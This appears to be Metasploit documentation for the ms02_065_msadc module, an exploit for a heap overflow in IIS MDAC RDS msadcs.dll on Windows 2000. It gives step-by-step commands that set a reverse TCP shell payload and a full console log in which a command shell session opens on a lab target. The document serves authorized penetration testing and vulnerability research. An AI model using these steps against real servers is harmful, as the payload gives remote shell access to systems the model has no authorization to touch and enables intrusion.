## Vulnerable Application

This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

This module has been tested successfully on:

* Windows 2000 Pro SP0-SP3 (English)
* Windows 2000 Pro SP0 (Korean)
* Windows 2000 Pro SP0 (Dutch)
* Windows 2000 Pro SP0 (Finnish)
* Windows 2000 Pro SP0 (Turkish)
* Windows 2000 Pro SP0-SP1 (Greek)
* Windows 2000 Pro SP1 (Arabic)
* Windows 2000 Pro SP1 (Czech)
* Windows 2000 Pro SP2 (French)
* Windows 2000 Pro SP2 (Portuguese)

## Verification Steps

1. `use exploit/windows/iis/ms02_065_msadc`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`

## Options

### TARGETURI

The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)

## Scenarios

### Windows 2000 Professional SP3 (EN)

```
msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 Pro SP0-SP3 (English)
   1   Windows 2000 Pro SP0 (Korean)
   2   Windows 2000 Pro SP0 (Dutch)
   3   Windows 2000 Pro SP0 (Finnish)
   4   Windows 2000 Pro SP0 (Turkish)
   5   Windows 2000 Pro SP0-SP1 (Greek)
   6   Windows 2000 Pro SP1 (Arabic)
   7   Windows 2000 Pro SP1 (Czech)
   8   Windows 2000 Pro SP2 (French)
   9   Windows 2000 Pro SP2 (Portuguese)


msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run

[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400


Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----


C:\WINNT\system32>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]
```
